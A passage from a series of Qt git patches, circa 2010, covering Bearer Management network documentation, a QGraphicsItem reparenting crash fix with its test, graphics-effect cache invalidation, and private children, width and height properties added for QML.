control the system's connectivity state. + +\ingroup network + +Bearer Management controls the connectivity state of the system so that +the user can start or stop interfaces or roam transparently between +access points. + +\tableofcontents + + +\section1 Overview + +The Bearer Management API controls the system's connectivity state. This +incorporates simple information such as whether the device is online and +how many interfaces there are as well as enables the application developer +to start, stop network interfaces and influences other connection specific +details. Depending on the platform's capabilities it may even provide +session management so that a network interface remains up for as long as +clients have a registered interest in them while at the same time +optimizes the interface's uptime. + +This API does not provide support for management of network configurations +themselves. It is up to the platform to provide infrastructure which +enables to user to create, edit or delete network configurations. + +\section2 The API in Detail + +Computer systems manage their network interfaces via a set of configurations. +Each configuration describes a set of parameters which instruct the system +how a particular network interface is started. One of the most simplistic +examples might be an Ethernet configuration that links a network card to a +DHCP server. A more complex example might be a Wireless LAN configuration +which may comprise of hardware details such as the WLAN card address, +WLAN access point details (e.g ESSID, encryption details) and user specific +information (for example username and password). Once the network interface +was configured and started according to the configuration blue print, +multiple applications are free to use this link layer connection/session +for their own socket operations. Note that the QNetworkConfiguration object +only provides limited information about the configuration details themselves. +It's main purpose is to act as a configuration identifier through which link +layer connections can be created, destroyed and monitored. + +QNetworkSession provides two types of use cases. It enables the monitoring of +physical network interfaces and management of network sessions. Network sessions +are a common feature on mobile devices where multiple applications +can request network sessions as they see fit. The system consolidates and tracks +active network sessions for the same network interface by maintaining the link +layer connections until the last session has been closed. The subsequent table +lists the major QNetworkSession functions and how they fit into the session and +hardware management categories: + +\table 60% +\header \o Interface management \o Session management +\row \o QNetworkSession::stop() \o QNetworkSession::open() +\row \o QNetworkSession::interface() \o QNetworkSession::close() +\row \o QNetworkSession::state() \o QNetworkSession::isOpen() +\row \o QNetworkSession::bytesWritten() \o QNetworkSession::migrate() +\row \o QNetworkSession::bytesReceived() \o QNetworkSession::ignore() +\row \o QNetworkSession::activeTime() \o QNetworkSession::accept() +\row \o QNetworkSession::stateChanged() \o QNetworkSession::reject() +\row \o \o QNetworkSession::opened() +\row \o \o QNetworkSession::closed() +\endtable + +The state of the session represents the state of the underlying access point +whereas the session's openness implies the networking/connectivity state available +to the current process. + +Possible use cases for interface management are network management related +applications which intend to monitor the connectivity state but do not engage +in network communication themselves. Any application wanting to open a socket +to a remote address will typically use session management related functionality. + +\section3 Service networks + +Some mobile platforms use the concept of grouped access points (also +called SNAP or Service Network Access Point). In principle multiple +configurations are grouped together and possibly even prioritized when +compared to each other. This is useful for use cases where all +configurations serve a similar purpose or context. A common context could +be that they provide access to the public Internet or possibly only to the +office Intranet. By providing a pool of configurations the system can make +a decision based on given priorities which usually map to factors such as +speed, availability and cost. Furthermore the system can automatically +roam from one access point to the next one while ensuring minimal impact on +the user experience. + +The \l{QNetworkConfiguration::Type} flag specifies to what category a +configuration belongs. The \l{QNetworkConfiguration::InternetAccessPoint} +type is the most common example. It represents a configuration that can be +used to create a session. The above mentioned grouping behavior is provided +by \l {QNetworkConfiguration::ServiceNetwork} configurations. Service +networks are place holders until such time when the user attempts to +\l {QNetworkSession::open()}{open()} a new session. At that point in time +the system determines which of the configurations \l{QNetworkConfiguration::children()} +is best to use. The selection algorithm is provided by the platform and is usually managed +by network settings applications. A service network can only have one level of indirection +which implies children can only be of type \l {QNetworkConfiguration::InternetAccessPoint}. + +Most systems allow the user to define the systems default configuration. +Usually the default behavior is either a service network, a particular +Internet access point or the user instructs the platform to ask the user +once an application requests the network. User interaction is generally +implemented by some sort of system dialog which shows up at the appropriate +point in time. The application does not have to handle the user input. This +API provides the \l QNetworkConfigurationManager::defaultConfiguration() +call which serves a similar purpose. The subsequent code snippet provides +a quick way how an application can quickly create a new network session +without (or only minimal) user interaction: + +\code + // Set Internet Access Point + QNetworkConfigurationManager manager; + const bool canStartIAP = (manager.capabilities() + & QNetworkConfigurationManager::CanStartAndStopInterfaces); + // Is there default access point, use it + QNetworkConfiguration cfg = manager.defaultConfiguration(); + if (!cfg.isValid() || (!canStartIAP && cfg.state() != QNetworkConfiguration::Active)) { + QMessageBox::information(this, tr("Network"), tr( + "No Access Point found.")); + return; + } + + session = new QNetworkSession(cfg, this); + session->open(); + session->waitForOpened(-1); +\endcode + +To accommodate the "Ask user" use case the default configuration can be of +type QNetworkConfiguration::UserChoice. A user choice configuration is +resolved as part of the \l {QNetworkSession::open()} call. Note that a +\l{QNetworkConfiguration::UserChoice}{UserChoice} configuration is only +ever returned via \l {QNetworkConfigurationManager::defaultConfiguration()} +and not \l QNetworkConfigurationManager::allConfigurations(). + +On systems which do not maintain a list of +\l {QNetworkConfigurationManager::defaultConfiguration()}{defaultConfiguration()} +an invalid configuration is returned. A possible workaround could be to +implement a custom dialog which is populated based on what +\l QNetworkConfigurationManager::allConfigurations() returns. + +\section3 Managing network sessions + +A QNetworkSession object separates a \l {QNetworkSession::state()}{state()} +and an \l{QNetworkSession::isOpen()}{isOpen()} condition. + +The state() attribute enables developers to detect whether the system +currently maintains a global network session for the given +QNetworkConfiguration. If \l {QNetworkSession::isOpen()}{isOpen()} +returns true the QNetworkSession instance at hand was at least one of the +entities requesting the global network session. This distinction is +required to support the notion of session registrations. For as long as +there are one or more open QNetworkSession instances the underlying +network interface is not shut down. Therefore the session +\l{QNetworkSession::state()}{state()} can be used to monitor the state of +network interfaces. + +An open session is created by calling \l {QNetworkSession::open()} and +closed via \l{QNetworkSession::close()}, respectively. If the session +is \l{QNetworkSession::Disconnected}{disconnected} at the time of the +\l{QNetworkSession::open()}{open()} call the underlying interface is started; +otherwise only the reference counter against the global session is +incremeted. The opposite behavior can be observed when using +\l{QNetworkSession::close()}{close()}. + +In some use cases it may be necessary to turn the interface off despite of +open sessions. This can be achieved by calling +\l{QNetworkSession::stop()}{stop()}. An example use case could be a +network manager type of application allowing the user to control the +overall state of the devices connectivity. + +Global (inter-process) session support is platform dependent and can be +detected via \l {QNetworkConfigurationManager::SystemSessionSupport}. +If the system does not support global session calling +\l{QNetworkSession::close()}{close()} never stops the interface. + +\section3 Roaming + +Roaming is the process of reconnecting a device from one network to another +while minimizing the impact on the application. The system notifies the application +about link layer changes so that the required preparation can be taken. +The most common reaction would be to reinitialize sockets and to renegotiate +stateful connections with other parties. In the most extreme cases applications +may even prevent the roaming altogether. + +Roaming is initiated when the system determines that a more appropriate access point +becomes available to the user. In general such a decision is based on cost, network speed +or network type (access to certain private networks may only be provided via certain access points). +Almost all devices providing roaming support have some form of global configuration application +enabling the user to define such groups of access points (service networks) and priorities. + +This API supports two types of roaming. Application level roaming (ALR) +provides the most control over the process. Applications will be notified about upcoming +link layer changes and get the opportunity to test the new access point. Eventually they can +reject or accept the link layer change. The second form of roaming is referred to as Forced Roaming. +The system simply changes the link layer without consulting the application. It is up to +the application to detect that some of its internal socket may have become invalid. As a consequence +it has to reinitialize those sockets and reestablish the previous user session without +any interruption. Forced roaming has the advantage that applications don't have to +manage the entire roaming process by themselves. + +QNetworkSession is the central class for managing roaming related issues. + +\section3 Platform capabilities + +Some API features are not available on all platforms. The +\l QNetworkConfigurationManager::Capability should be used to detect +platform features at runtime. The following table lists the various +platform APIs being used by this API. This may assist in the process of +determining the feature support: + +\table + \header + \o Platform + \o Backend capabilities + \row + \o Linux\unicode{0xAE} + \o Linux uses the \l {http://projects.gnome.org/NetworkManager}{NetworkManager API} which supports interface notifications and starting and stopping of network interfaces. + \row + \o Windows\unicode{0xAE} XP + \o This platform supports interface notifications without active polling. + \row + \o Windows XP SP2+Hotfixes, Windows XP SP3, Windows Vista, Windows 7 + \o In addition to standard Windows XP wifi access point monitoring has been improved which includes the ability to start and stop wifi interfaces. This requires Windows to manage the wifi interfaces. + \row + \o Symbian\unicode{0xAE} Platform & S60 3.1 + \o Symbian support is based on Symbian platforms RConnection. In addition to interface notifications, starting and stopping of network it provides system wide session support and direct connection routing. + \row + \o Symbian Platform & S60 3.2+ + \o This platform enjoys the most comprehensive feature set. In addition to the features support by the S60 3.1 Network roaming is supported. + \row + \o Mac OS\unicode{0xAE} + \o This platform has full support by way of CoreWLAN offered in Mac OS 10.6. Previous + versions of Mac OS - 10.5 and 10.4 have limited support. + \row + \o All other platforms (*nix, Windows Mobile) + \o This backend is the fallback for all platforms supports network interface notifications via active polling only. +\endtable + +*/ diff --git a/doc/src/network-programming/qtnetwork.qdoc b/doc/src/network-programming/qtnetwork.qdoc index d7e7481..36f48cf 100644 --- a/doc/src/network-programming/qtnetwork.qdoc +++ b/doc/src/network-programming/qtnetwork.qdoc @@ -53,11 +53,14 @@ \brief An Introduction to Network Programming with Qt The QtNetwork module offers classes that allow you to write TCP/IP clients - and servers. it offers classes such as QFtp that implement specific + and servers. It offers classes such as QFtp that implement specific application-level protocols, lower-level classes such as QTcpSocket, QTcpServer and QUdpSocket that represent low level network concepts, and high level classes such as QNetworkRequest, QNetworkReply and QNetworkAccessManager to perform network operations using common protocols. + It also offers classes such as QNetworkConfiguration, + QNetworkConfigurationManager and QNetworkSession that implement bearer + management. \tableofcontents @@ -327,4 +330,29 @@ by passing a factory to QNetworkProxyFactory::setApplicationProxyFactory() and a custom proxying policy can be created by subclassing QNetworkProxyFactory; see the class documentation for details. + + \section1 Bearer Management Support + + Bearer Management controls the connectivity state of the device such that + the application can start or stop network interfaces and roam + transparently between access points. + + The QNetworkConfigurationManager class manages the list of network + configurations known to the device. A network configuration describes the + set of parameters used to start a network interface and is represented by + the QNetworkConfiguration class. + + A network interface is started by openning a QNetworkSession based on a + given network configuration. In most situations creating a network session + based on the platform specified default network configuration is + appropriate. The default network configuration is returned by the + QNetworkConfigurationManager::defaultConfiguration() function. + + On some platforms it is a platform requirement that the application open a + network session before any network operations can be performed. This can be + tested by the presents of the + QNetworkConfigurationManager::NetworkSessionRequired flag in the value + returned by the QNetworkConfigurationManager::capabilities() function. + + \sa {Bearer Management} */ diff --git a/src/network/bearer/qnetworkconfigmanager.cpp b/src/network/bearer/qnetworkconfigmanager.cpp index 0cd5efb..1ba5dab 100644 --- a/src/network/bearer/qnetworkconfigmanager.cpp +++ b/src/network/bearer/qnetworkconfigmanager.cpp @@ -64,7 +64,7 @@ QNetworkConfigurationManagerPrivate *qNetworkConfigurationManagerPrivate() \since 4.7 \inmodule QtNetwork - \ingroup bearer + \ingroup network QNetworkConfigurationManager provides access to the network configurations known to the system and enables applications to detect the system capabilities (with regards to network sessions) at runtime. diff --git a/src/network/bearer/qnetworkconfiguration.cpp b/src/network/bearer/qnetworkconfiguration.cpp index 82669e0..4108fee 100644 --- a/src/network/bearer/qnetworkconfiguration.cpp +++ b/src/network/bearer/qnetworkconfiguration.cpp @@ -52,7 +52,7 @@ QT_BEGIN_NAMESPACE \since 4.7 \inmodule QtNetwork - \ingroup bearer + \ingroup network QNetworkConfiguration encapsulates a single access point or service network. In most cases a single access point configuration can be mapped to one network diff --git a/src/network/bearer/qnetworksession.cpp b/src/network/bearer/qnetworksession.cpp index cf9f4b2..ca21dcd 100644 --- a/src/network/bearer/qnetworksession.cpp +++ b/src/network/bearer/qnetworksession.cpp @@ -58,7 +58,7 @@ QT_BEGIN_NAMESPACE \since 4.7 \inmodule QtNetwork - \ingroup bearer + \ingroup network A QNetworkSession enables control over the system's network interfaces. The session's configuration parameter are determined via the QNetworkConfiguration object to which it is bound. Depending on the -- cgit v0.12 From 63d2d82031c69c35ea2bd6bf48e357b6297f67df Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Wed, 24 Mar 2010 17:47:09 +1000 Subject: Doc --- doc/src/declarative/javascriptblocks.qdoc | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc index 0006967..e57439f 100644 --- a/doc/src/declarative/javascriptblocks.qdoc +++ b/doc/src/declarative/javascriptblocks.qdoc @@ -138,6 +138,7 @@ these libraries, the JavaScript programmer can indicate a particular file is a stateless library through the use of a pragma, as shown in the following example. \code +// factorial.js .pragma library function factorial(a) { -- cgit v0.12 From 5ddcc726a623fea3534f76c07b6c1d2835a0e2d6 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Wed, 24 Mar 2010 17:47:17 +1000 Subject: Disallow the implicit QDeclarativeGuardedContextData copy constructor Task-number: QTBUG-9312 --- src/declarative/qml/qdeclarativecontext_p.h | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index e5f18b3..397f37a 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -213,8 +213,11 @@ public: inline operator QDeclarativeContextData*() const { return m_contextData; } inline QDeclarativeContextData* operator->() const { return m_contextData; } + inline QDeclarativeGuardedContextData &operator=(QDeclarativeContextData *d); private: + QDeclarativeGuardedContextData &operator=(const QDeclarativeGuardedContextData &); + QDeclarativeGuardedContextData(const QDeclarativeGuardedContextData &); friend class QDeclarativeContextData; inline void clear(); @@ -269,6 +272,13 @@ void QDeclarativeGuardedContextData::clear() } } +QDeclarativeGuardedContextData & +QDeclarativeGuardedContextData::operator=(QDeclarativeContextData *d) +{ + setContextData(d); + return *this; +} + QT_END_NAMESPACE #endif // QDECLARATIVECONTEXT_P_H -- cgit v0.12 From b6b1dee9460d6fdde0b8ad005301c0a315ad30bf Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Mon, 22 Mar 2010 08:04:46 +0100 Subject: Fix a crash when reparenting an item in QGraphicsView. Before calling addItem we need to invalidate the depth otherwise if someone call anything relating to sorting when itemChange is called (because of the scene change for instance) then qt_closestItemFirst for example can crash because of an invalid state. Task-number:QTBUG-6932 Reviewed-by:janarve --- src/gui/graphicsview/qgraphicsitem.cpp | 5 ++-- tests/auto/qgraphicsitem/tst_qgraphicsitem.cpp | 34 ++++++++++++++++++++++++++ 2 files changed, 37 insertions(+), 2 deletions(-) diff --git a/src/gui/graphicsview/qgraphicsitem.cpp b/src/gui/graphicsview/qgraphicsitem.cpp index f3c90ca..9852323 100644 --- a/src/gui/graphicsview/qgraphicsitem.cpp +++ b/src/gui/graphicsview/qgraphicsitem.cpp @@ -1130,6 +1130,9 @@ void QGraphicsItemPrivate::setParentItemHelper(QGraphicsItem *newParent, const Q } } + // Resolve depth. + invalidateDepthRecursively(); + if ((parent = newParent)) { if (parent->d_func()->scene && parent->d_func()->scene != scene) { // Move this item to its new parent's scene @@ -1180,8 +1183,6 @@ void QGraphicsItemPrivate::setParentItemHelper(QGraphicsItem *newParent, const Q } } - // Resolve depth. - invalidateDepthRecursively(); dirtySceneTransform = 1; // Restore the sub focus chain. diff --git a/tests/auto/qgraphicsitem/tst_qgraphicsitem.cpp b/tests/auto/qgraphicsitem/tst_qgraphicsitem.cpp index 4d9f23f..75fb337 100644 --- a/tests/auto/qgraphicsitem/tst_qgraphicsitem.cpp +++ b/tests/auto/qgraphicsitem/tst_qgraphicsitem.cpp @@ -439,6 +439,7 @@ private slots: void QTBUG_7714_fullUpdateDiscardingOpacityUpdate2(); void QT_2653_fullUpdateDiscardingOpacityUpdate(); void QT_2649_focusScope(); + void sortItemsWhileAdding(); private: QList paintedItems; @@ -10070,5 +10071,38 @@ void tst_QGraphicsItem::QT_2649_focusScope() delete scene; } +class MyGraphicsItemWithItemChange : public QGraphicsWidget +{ +public: + MyGraphicsItemWithItemChange(QGraphicsItem *parent = 0) : QGraphicsWidget(parent) + {} + + QVariant itemChange(GraphicsItemChange change, const QVariant &value) + { + if (change == QGraphicsItem::ItemSceneHasChanged) { + foreach (QGraphicsView *view, scene()->views()) { + //We trigger a sort of unindexed items in the BSP + view->sceneRect(); + } + } + return QGraphicsWidget::itemChange(change, value); + } +}; + +void tst_QGraphicsItem::sortItemsWhileAdding() +{ + QGraphicsScene scene; + QGraphicsView view(&scene); + QGraphicsWidget grandGrandParent; + grandGrandParent.resize(200, 200); + scene.addItem(&grandGrandParent); + QGraphicsWidget grandParent; + grandParent.resize(200, 200); + QGraphicsWidget parent(&grandParent); + parent.resize(200, 200); + MyGraphicsItemWithItemChange item(&parent); + grandParent.setParentItem(&grandGrandParent); +} + QTEST_MAIN(tst_QGraphicsItem) #include "tst_qgraphicsitem.moc" -- cgit v0.12 From c8fa23a5edd790d9eed0620068a29e03e4202cac Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Wed, 24 Mar 2010 02:12:47 +0100 Subject: Invalidate the cache of QGraphicsEffect if a child becomes visible. The effect might rely on a child to draw itself. So we need to redraw if a child become visible or invisible. Task-number:QTBUG-7843 Reviewed-by:janarve --- src/gui/graphicsview/qgraphicsitem.cpp | 6 ++- tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp | 43 ++++++++++++++++++++++ 2 files changed, 48 insertions(+), 1 deletion(-) diff --git a/src/gui/graphicsview/qgraphicsitem.cpp b/src/gui/graphicsview/qgraphicsitem.cpp index 9852323..e10c03a 100644 --- a/src/gui/graphicsview/qgraphicsitem.cpp +++ b/src/gui/graphicsview/qgraphicsitem.cpp @@ -2177,8 +2177,12 @@ void QGraphicsItemPrivate::setVisibleHelper(bool newVisible, bool explicitly, bo QGraphicsItemCache *c = (QGraphicsItemCache *)qVariantValue(extra(ExtraCacheData)); if (c) c->purge(); - if (scene) + if (scene) { +#ifndef QT_NO_GRAPHICSEFFECT + invalidateParentGraphicsEffectsRecursively(); +#endif //QT_NO_GRAPHICSEFFECT scene->d_func()->markDirty(q_ptr, QRectF(), /*invalidateChildren=*/false, /*force=*/true); + } } // Certain properties are dropped as an item becomes invisible. diff --git a/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp b/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp index 1007d61..02899ae 100644 --- a/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp +++ b/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp @@ -46,6 +46,7 @@ #include #include #include +#include #include #include "../../shared/util.h" @@ -73,6 +74,7 @@ private slots: void deviceCoordinateTranslateCaching(); void inheritOpacity(); void dropShadowClipping(); + void childrenVisibilityShouldInvalidateCache(); }; void tst_QGraphicsEffect::initTestCase() @@ -613,6 +615,47 @@ void tst_QGraphicsEffect::dropShadowClipping() QCOMPARE(img.pixel(x, y), img.pixel(x, y-1)); } +class MyGraphicsItem : public QGraphicsWidget +{ +public: + MyGraphicsItem(QGraphicsItem *parent = 0) : + QGraphicsWidget(parent), nbPaint(0) + {} + void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget) + { + nbPaint++; + QGraphicsWidget::paint(painter, option, widget); + } + int nbPaint; +}; + +void tst_QGraphicsEffect::childrenVisibilityShouldInvalidateCache() +{ + QGraphicsScene scene; + MyGraphicsItem parent; + parent.resize(200, 200); + QGraphicsWidget child(&parent); + child.resize(200, 200); + child.setVisible(false); + scene.addItem(&parent); + QGraphicsView view(&scene); + view.show(); + QApplication::setActiveWindow(&view); + QTest::qWaitForWindowShown(&view); + QCOMPARE(parent.nbPaint, 1); + //we set an effect on the parent + parent.setGraphicsEffect(new QGraphicsDropShadowEffect(&parent)); + //flush the events + QApplication::processEvents(); + //new effect applied->repaint + QCOMPARE(parent.nbPaint, 2); + child.setVisible(true); + //flush the events + QApplication::processEvents(); + //a new child appears we need to redraw the effect. + QCOMPARE(parent.nbPaint, 3); +} + QTEST_MAIN(tst_QGraphicsEffect) #include "tst_qgraphicseffect.moc" -- cgit v0.12 From 4be83fa7337c5a4eb7b0ce085aa5854af5d33252 Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Wed, 24 Mar 2010 05:33:21 +0100 Subject: Add a children private property needed for QML to support QGraphicsObject Commit adds a private property that QML can use to add children for a given item. This is a custom list that calls a callback which actually reparent the item instead of just appending in the list (otherwise it will mess up the state of QGraphicsView). This is needed because childItems() is pretty useless you get a list but if you append something on it then it adds that into a copy. Also the children property is the default property a concept used by QML. Width and Height private properties has been added in order to support better the integration with QGraphicsWidget in QML. The actual implementation is in the private class of QGI and QGraphicsWidget reimplements it to return the geometry. (In 4.7 QDeclarativeItem reimplements it too). This change should be harmless everything is private. Task-number:QT-2757 Reviewed-by:andreas --- src/gui/graphicsview/qgraphicsitem.cpp | 103 +++++++++++++++++++++ src/gui/graphicsview/qgraphicsitem.h | 7 ++ src/gui/graphicsview/qgraphicsitem_p.h | 67 ++++++++++++++ src/gui/graphicsview/qgraphicswidget.cpp | 14 +++ src/gui/graphicsview/qgraphicswidget_p.cpp | 51 ++++++++++ src/gui/graphicsview/qgraphicswidget_p.h | 9 ++ tests/auto/qgraphicswidget/tst_qgraphicswidget.cpp | 28 ++++++ 7 files changed, 279 insertions(+) diff --git a/src/gui/graphicsview/qgraphicsitem.cpp b/src/gui/graphicsview/qgraphicsitem.cpp index e10c03a..f110a5c 100644 --- a/src/gui/graphicsview/qgraphicsitem.cpp +++ b/src/gui/graphicsview/qgraphicsitem.cpp @@ -5224,6 +5224,8 @@ void QGraphicsItemPrivate::addChild(QGraphicsItem *child) needSortChildren = 1; // ### maybe 0 child->d_ptr->siblingIndex = children.size(); children.append(child); + if (isObject) + emit static_cast(q_ptr)->childrenChanged(); } /*! @@ -5246,6 +5248,8 @@ void QGraphicsItemPrivate::removeChild(QGraphicsItem *child) // the child is not guaranteed to be at the index after the list is sorted. // (see ensureSortedChildren()). child->d_ptr->siblingIndex = -1; + if (isObject) + emit static_cast(q_ptr)->childrenChanged(); } /*! @@ -7453,6 +7457,88 @@ void QGraphicsObject::ungrabGesture(Qt::GestureType gesture) } } +void QGraphicsItemPrivate::append(QDeclarativeListProperty *list, QGraphicsObject *item) +{ + QGraphicsItemPrivate::get(item)->setParentItemHelper(static_cast(list->object), /*newParentVariant=*/0, /*thisPointerVariant=*/0); +} + +/*! + Returns a list of this item's children. + + The items are sorted by stacking order. This takes into account both the + items' insertion order and their Z-values. + +*/ +QDeclarativeListProperty QGraphicsItemPrivate::childrenList() +{ + Q_Q(QGraphicsItem); + if (isObject) { + QGraphicsObject *that = static_cast(q); + return QDeclarativeListProperty(that, &children, QGraphicsItemPrivate::append); + } else { + //QGraphicsItem is not supported for this property + return QDeclarativeListProperty(); + } +} + +/*! + \internal + Returns the width of the item + Reimplemented by QGraphicsWidget +*/ +qreal QGraphicsItemPrivate::width() const +{ + return 0; +} + +/*! + \internal + Set the width of the item + Reimplemented by QGraphicsWidget +*/ +void QGraphicsItemPrivate::setWidth(qreal w) +{ + Q_UNUSED(w); +} + +/*! + \internal + Reset the width of the item + Reimplemented by QGraphicsWidget +*/ +void QGraphicsItemPrivate::resetWidth() +{ +} + +/*! + \internal + Returns the height of the item + Reimplemented by QGraphicsWidget +*/ +qreal QGraphicsItemPrivate::height() const +{ + return 0; +} + +/*! + \internal + Set the height of the item + Reimplemented by QGraphicsWidget +*/ +void QGraphicsItemPrivate::setHeight(qreal h) +{ + Q_UNUSED(h); +} + +/*! + \internal + Reset the height of the item + Reimplemented by QGraphicsWidget +*/ +void QGraphicsItemPrivate::resetHeight() +{ +} + /*! \property QGraphicsObject::parent \brief the parent of the item @@ -7639,6 +7725,23 @@ void QGraphicsObject::ungrabGesture(Qt::GestureType gesture) \sa scale, rotation, QGraphicsItem::transformOriginPoint() */ +/*! + \fn void QGraphicsObject::widthChanged() + \internal +*/ + +/*! + \fn void QGraphicsObject::heightChanged() + \internal +*/ + +/*! + + \fn QGraphicsObject::childrenChanged() + + This signal gets emitted whenever the children list changes + \internal +*/ /*! \class QAbstractGraphicsShapeItem diff --git a/src/gui/graphicsview/qgraphicsitem.h b/src/gui/graphicsview/qgraphicsitem.h index d72833b..5023f60 100644 --- a/src/gui/graphicsview/qgraphicsitem.h +++ b/src/gui/graphicsview/qgraphicsitem.h @@ -547,6 +547,10 @@ class Q_GUI_EXPORT QGraphicsObject : public QObject, public QGraphicsItem Q_PROPERTY(qreal rotation READ rotation WRITE setRotation NOTIFY rotationChanged) Q_PROPERTY(qreal scale READ scale WRITE setScale NOTIFY scaleChanged) Q_PROPERTY(QPointF transformOriginPoint READ transformOriginPoint WRITE setTransformOriginPoint) + Q_PRIVATE_PROPERTY(QGraphicsItem::d_func(), QDeclarativeListProperty children READ childrenList DESIGNABLE false NOTIFY childrenChanged) + Q_PRIVATE_PROPERTY(QGraphicsItem::d_func(), qreal width READ width WRITE setWidth NOTIFY widthChanged RESET resetWidth FINAL) + Q_PRIVATE_PROPERTY(QGraphicsItem::d_func(), qreal height READ height WRITE setHeight NOTIFY heightChanged RESET resetHeight FINAL) + Q_CLASSINFO("DefaultProperty", "children") Q_INTERFACES(QGraphicsItem) public: QGraphicsObject(QGraphicsItem *parent = 0); @@ -571,6 +575,9 @@ Q_SIGNALS: void zChanged(); void rotationChanged(); void scaleChanged(); + void childrenChanged(); + void widthChanged(); + void heightChanged(); protected: QGraphicsObject(QGraphicsItemPrivate &dd, QGraphicsItem *parent, QGraphicsScene *scene); diff --git a/src/gui/graphicsview/qgraphicsitem_p.h b/src/gui/graphicsview/qgraphicsitem_p.h index ea04e0b..669ae1b 100644 --- a/src/gui/graphicsview/qgraphicsitem_p.h +++ b/src/gui/graphicsview/qgraphicsitem_p.h @@ -71,6 +71,62 @@ QT_BEGIN_NAMESPACE class QGraphicsItemPrivate; +#ifndef QDECLARATIVELISTPROPERTY +#define QDECLARATIVELISTPROPERTY +template +struct QDeclarativeListProperty { + typedef void (*AppendFunction)(QDeclarativeListProperty *, T*); + typedef int (*CountFunction)(QDeclarativeListProperty *); + typedef T *(*AtFunction)(QDeclarativeListProperty *, int); + typedef void (*ClearFunction)(QDeclarativeListProperty *); + + QDeclarativeListProperty() + : object(0), data(0), append(0), count(0), at(0), clear(0), dummy1(0), dummy2(0) {} + QDeclarativeListProperty(QObject *o, QList &list) + : object(o), data(&list), append(qlist_append), count(qlist_count), at(qlist_at), + clear(qlist_clear), dummy1(0), dummy2(0) {} + QDeclarativeListProperty(QObject *o, void *d, AppendFunction a, CountFunction c = 0, AtFunction t = 0, + ClearFunction r = 0) + : object(o), data(d), append(a), count(c), at(t), clear(r), dummy1(0), dummy2(0) {} + + bool operator==(const QDeclarativeListProperty &o) const { + return object == o.object && + data == o.data && + append == o.append && + count == o.count && + at == o.at && + clear == o.clear; + } + + QObject *object; + void *data; + + AppendFunction append; + + CountFunction count; + AtFunction at; + + ClearFunction clear; + + void *dummy1; + void *dummy2; + +private: + static void qlist_append(QDeclarativeListProperty *p, T *v) { + ((QList *)p->data)->append(v); + } + static int qlist_count(QDeclarativeListProperty *p) { + return ((QList *)p->data)->count(); + } + static T *qlist_at(QDeclarativeListProperty *p, int idx) { + return ((QList *)p->data)->at(idx); + } + static void qlist_clear(QDeclarativeListProperty *p) { + return ((QList *)p->data)->clear(); + } +}; +#endif + class QGraphicsItemCache { public: @@ -237,6 +293,7 @@ public: void resolveDepth(); void addChild(QGraphicsItem *child); void removeChild(QGraphicsItem *child); + QDeclarativeListProperty childrenList(); void setParentItemHelper(QGraphicsItem *parent, const QVariant *newParentVariant, const QVariant *thisPointerVariant); void childrenBoundingRectHelper(QTransform *x, QRectF *rect); @@ -423,11 +480,21 @@ public: inline QTransform transformToParent() const; inline void ensureSortedChildren(); + static void append(QDeclarativeListProperty *list, QGraphicsObject *item); static inline bool insertionOrder(QGraphicsItem *a, QGraphicsItem *b); void ensureSequentialSiblingIndex(); inline void sendScenePosChange(); virtual void siblingOrderChange(); + // Private Properties + virtual qreal width() const; + virtual void setWidth(qreal); + virtual void resetWidth(); + + virtual qreal height() const; + virtual void setHeight(qreal); + virtual void resetHeight(); + QRectF childrenBoundingRect; QRectF needsRepaint; QMap paintedViewBoundingRects; diff --git a/src/gui/graphicsview/qgraphicswidget.cpp b/src/gui/graphicsview/qgraphicswidget.cpp index f42fe4f..a091347 100644 --- a/src/gui/graphicsview/qgraphicswidget.cpp +++ b/src/gui/graphicsview/qgraphicswidget.cpp @@ -324,6 +324,14 @@ void QGraphicsWidget::resize(const QSizeF &size) */ /*! + + \fn QGraphicsWidget::geometryChanged() + + This signal gets emitted whenever the geometry of the item changes + \internal +*/ + +/*! \property QGraphicsWidget::geometry \brief the geometry of the widget @@ -391,6 +399,10 @@ void QGraphicsWidget::setGeometry(const QRectF &rect) QGraphicsSceneResizeEvent re; re.setOldSize(oldSize); re.setNewSize(newGeom.size()); + if (oldSize.width() != newGeom.size().width()) + emit widthChanged(); + if (oldSize.height() != newGeom.size().height()) + emit heightChanged(); QApplication::sendEvent(this, &re); } } @@ -2322,5 +2334,7 @@ void QGraphicsWidget::dumpFocusChain() #endif QT_END_NAMESPACE + +#include "moc_qgraphicswidget.cpp" #endif //QT_NO_GRAPHICSVIEW diff --git a/src/gui/graphicsview/qgraphicswidget_p.cpp b/src/gui/graphicsview/qgraphicswidget_p.cpp index 1835c74..6e397b6 100644 --- a/src/gui/graphicsview/qgraphicswidget_p.cpp +++ b/src/gui/graphicsview/qgraphicswidget_p.cpp @@ -44,6 +44,7 @@ #ifndef QT_NO_GRAPHICSVIEW #include +#include #include "qgraphicswidget_p.h" #include "qgraphicslayout.h" #include "qgraphicsscene_p.h" @@ -825,6 +826,56 @@ void QGraphicsWidgetPrivate::setLayout_helper(QGraphicsLayout *l) } } +qreal QGraphicsWidgetPrivate::width() const +{ + Q_Q(const QGraphicsWidget); + return q->geometry().width(); +} + +void QGraphicsWidgetPrivate::setWidth(qreal w) +{ + if (qIsNaN(w)) + return; + Q_Q(QGraphicsWidget); + if (q->geometry().width() == w) + return; + + QRectF oldGeom = q->geometry(); + + q->setGeometry(QRectF(q->x(), q->y(), w, height())); +} + +void QGraphicsWidgetPrivate::resetWidth() +{ + Q_Q(QGraphicsWidget); + q->setGeometry(QRectF(q->x(), q->y(), 0, height())); +} + +qreal QGraphicsWidgetPrivate::height() const +{ + Q_Q(const QGraphicsWidget); + return q->geometry().height(); +} + +void 